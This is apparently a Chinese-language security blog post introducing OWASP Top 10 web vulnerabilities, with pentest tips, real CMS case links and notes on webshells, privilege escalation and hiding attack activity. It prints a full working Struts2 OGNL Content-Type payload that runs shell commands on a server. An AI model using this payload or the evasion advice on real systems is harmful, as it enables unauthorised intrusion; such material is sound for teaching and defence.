0%

OWASP TOP 10漏洞介绍

OWASP项目最具权威的就是其“十大安全漏洞列表”,这个列表总结了Web应用程序最可能、最常见、最危险的十大漏洞

跨站脚本漏洞

  • 漏洞原理:

    • (1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
    • (2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
    • (3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
  • 漏洞靶场:

图片

当我们访问这个页面时,我们的PC就在攻击者的beef中上线了
图片

通过 beef,我们可以对上线的浏览器进行很多的后门操作比如最基本的弹窗:
图片

  • 漏洞实战演练:http://www.alliedjeep.com/87508.htm couponPHP CMS 1.0跨站脚本漏洞 couponPHP是优惠劵和交易网站的内容管理系统。 couponPHP CMS 1.0版本没有正确过滤 /admin/ajax/comments_paginate.php 或 /admin/ajax/stores_paginate.php的 “sEcho” GET 参数值,在实现上存在多个跨站脚本漏洞,可导致在用户浏览器会话中执行任意HTML和脚本代码。
  • 个人总结:以存储型跨站为例,我们在用户的页面输入的语句会存入到系统的数据库中,这样,当其他用户访问我们存入的信息时就造成了存储型跨站的攻击,图片为我定入的存储型跨站的利用是js。

Sql注入漏洞

  • 漏洞原理:SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
  • 漏洞靶场:在我们的靶场中我们会了解查询到底是怎么一回事,数据是怎么样传入的

图片

上面两个图片,是数据以get及post方式发送的代码内容,我们的参数就是以这种形式发送的。而后台接收后的样子类似是这样的 Select * from (xxx数据表) where what=(‘id’) id为你输入的参数,而sql注入就是在这个语句后面加入攻击者自己构造的语句,使数据库查询出我们想要的数据并给前台一定的提示。 并会在我们的靶场中进行攻击学习.
图片

漏洞实战演练:http://www.cnblogs.com/moqiang02/p/4061399.html

图片

  • 个人总结:sql注入仍然是被利用最多的漏洞,他的危害程度和利用范围也是其他漏洞不可以比的,而且逐渐开始工具化,手工注入越来越少,虽然难度大的注入漏洞几乎只能用手工去做,但一点也不影响工具的推广和利用,比较常用的攻击工具sqlmap,可以实现大量的绕过和注入方法。当然,因为他的功能越来越强大,使用的方法也越来越复杂,有的注入点,有可能同样是用sqlmap,小白就注入不进去,可是有的老手就可以通过对语句和参数的修改注入成功。 当然有很多的注入点也需要自己手工去写一些脚本去进行测试,因为盲注这一形式的存在,给手工注入带来了巨大的麻烦,图片为我自己编写的盲注的小脚本,可以利用注入去暴力猜出用户的密码。
    图片

  • POC框架

    • 基于原生POC编写练习
    • 基于框架POC编写练习

越权漏洞

  • 漏洞原理:是指超越权限或权力范围的意思。越权漏洞是Web应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数据仅限于存在漏洞功能对应的数据。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。

  • 漏洞靶场:针对网站的权限绕过,后期会带大家搭建相对环境学习
    图片

  • 漏洞实战演练:

    https://loudong.sjtu.edu.cn/show/CNVD-2017-04015

     齐博CMS整站系统V7.0存在越权访问漏洞 个人总结:对于越权漏洞的主要挖掘方法:

      • 测试越权一般得有俩号。
      • 对userid。orderid等等ID要敏感,一旦发现,就多测测。
      • 某些厂商喜欢用纯数字的MD5作为用户的cookie,多注意发现。
      • 多使用抓包工具,多分析数据包,多修改数据包。
      • 多站在开发的角度去分析网站哪儿存在越权。
      • 多看看别人的漏洞 越权漏洞属于逻辑漏洞,这样的漏洞,不是代码的硬性错误,网站可以说他没有sql注入漏洞,但他不可以说他没有逻辑漏洞,只是每个人的思考方向不同,测试方法和角度也不一样,发现的逻辑漏洞也就不会相同。

目录漏洞

  • 漏洞原理:该漏洞旨在访问储存在Web根文件外的文件或者目录。主要分为以下两种 目录列表漏洞:用户访问网站目录地址时,能看到目录下所有文件列表,导致网站目录结构暴露,重要的敏感数据泄露。目录遍历漏洞:程序没有充分过滤用户输入的../之类的目录跳转符,导致用户可以通过提交目录跳转来遍历服务器上的任意文件。使用多个..符号,不断向上跳转,最终停留在根/,通过绝对路径去读取任意文件。
  • 漏洞靶场:简单的网站框架就可以实现相应漏洞,在我们的靶场中会集成本漏洞
  • 漏洞实战演练:http://sec.sangfor.com.cn/vulns/236.html  Pligg CMS 2.0.2 目录遍历漏洞
    图片
  • 个人总结:其实在目录漏洞需要配合其他的漏洞进行组合攻击,单独目录漏洞的危害性并不大,但他的可利用程度确很高,当存在其他的漏洞时,这个漏洞就可以帮助我们获取到更多的权限。

文件包含漏洞

  • 漏洞原理:程序开发人员通常会把要重复使用的函数写到单个文件中,在使用某个函数时直接在文件里面调用此函数无需再次编写。
  • 文件包含有两种: 本地文件包含配合本地的文件遍历漏洞,可以执行任意文件代码
  • 远程文件包含 :即加载远程文件,在php.ini中开启allow_url_include、allow_url_fopen选项。开启后可以直接执行任意代码。配合本地的文件遍历漏洞,可以执行任意文件代码
  • 漏洞靶场:靶场为jsp语言,会带领大家搭建相对应的文件包含环境,但不存在靶场中
  • 漏洞实战演练:http://www.xuebuyuan.com/1062689.html  Phpcms 2007 远程文件包含漏洞
  • 个人总结:执行任意代码,包含恶意文件控制网站甚至控制服务器,这个漏洞的危害是巨大的,但他主要存在于PHP的环境中。对环境的依赖程度也相对要高,确相对好整改,只要限制好目录的权限,这个漏洞可以造成的影响并不大。

命令执行漏洞

  • 漏洞原理:用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
  • 漏洞靶场:
    图片
  • 漏洞实战演练:网上随处可见的struts2网站,只要是没有升级或打上补丁的,都会存在问题
  • 个人总结:最常见的命令执行漏洞就是struts2漏洞了,当然,还有weblogic等等,今天主要给大家分享struts2的相关知识 Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。 对应POC: [“Content-Type”]=”%{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’ifconfig’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}” 简单的利用方法

弱口令漏洞

  • 漏洞原理:就是说由常用数字、字母、字符等组合成的,容易被别人通过简单及平常的思维方式就能猜到的密码,利用弱口令结合计算机系统等漏洞可以做到入侵的事半功倍的效果 主要的探测方法为测试验证码的功能,如果目标站的验证机制不完善,或存在逻辑漏洞,则可以利用该漏洞进行暴力破解攻击,结合社工的结果进行测试,如果用户存在弱口令漏洞,就会被攻击方加以利用,伪装成普通用户的权限进行登录,扩大攻击者的权限范畴,增加网站的风限程度
  • 漏洞靶场:靶场的登录处就是这个漏洞 漏洞实战演练:本漏洞主要成因是人为的,需要手工去寻找。
  • 个人总结:只要做好社工,基本上网站全是弱口令,这是某个大神说的。我觉的非常的有道理。希望大家各级去尝试。

文件上传漏洞

  • 漏洞原理:在于代码作者没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。

  • 漏洞靶场:

    图片

  • 漏洞实战演练:https://www.lvtao.net/shell/phpcms-upload-webshell.html  phpcms前台头像上传漏洞导致webshell详解及案例

  • 个人总结:这个漏洞被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。 主要是上传木马文件及反弹工具等,在网络上现在也存在这各种防护方法,具体的绕过我们就不讲了,主要分享一下,上传的东西,与方法。 上传webshell,按语言主要分为三种php,asp,jsp其他衍生的类型不计其数,但核心仍是这三种,主要目的就是通过webshell,对网站进行控制。

漏洞利用

  • 目的:我们整个攻击行为的目的,比如获取flag,目标服务器权限等等,根据我们不同的目的,我们要做出不同的针对性的攻击,可以大大节省我的时间和资源。 隐藏:在攻击的过程中,我们要学会隐藏自己,把我们的攻击行为隐藏起来,这样我们就可以保证我们在攻击的过程中不会被发现,导致我们的攻击过程被强行中断,减少不必要的工作量。
  • 特定场景的针对测试:每一个目标的环境就行人一样,都是维一的,没有一模一样的环境,所以我们要针对不同的环境去做不同的攻击,减少没必要的行为。

权限提升

当我们拿到webshell后,我们要做的就是权限提升了,我们真正开接触到我们的目标了现在。

  • 内部信息收集:

    • 根据我们的目标,我们要开始收拾信息,网站的基本信息,管理者的行为信息,目标的内部环境等,我们有了一个跳板就要把我们可以拿到的点都拿到手中,这样才可以保证我们的目的达成。
  • 系统漏洞利用:

    • 我们的主要方法是溢出漏洞,当然也存在其他的提权方法,但在这节课中不涉及那些高级的应用了。在溢出漏洞中,我们首先要通过我们收集到的信息来确定我们可以利用的漏洞有可能有那些,如果运气好,我们的漏洞有可以利用的那直接利用已有的角本,我们可以直接拿到服务器的权限了,如果不能,那就要去一点点的测试,看看这个系统上安装了什么软件,然后去寻找一个可以让我们利用的溢出点,能过编写这个脚本来进行提权。比较常见的提权脚本有:
      图片

当然,还有很多很多,我就不一一展示了,还有一部分要涉及到密码的寻找,如果,我们没有办法溢出,那我们就要想办法找到高级管理员的密码,来登录到高权限的帐户上去
图片

您的支持将鼓励我继续创作

欢迎关注我的其它发布渠道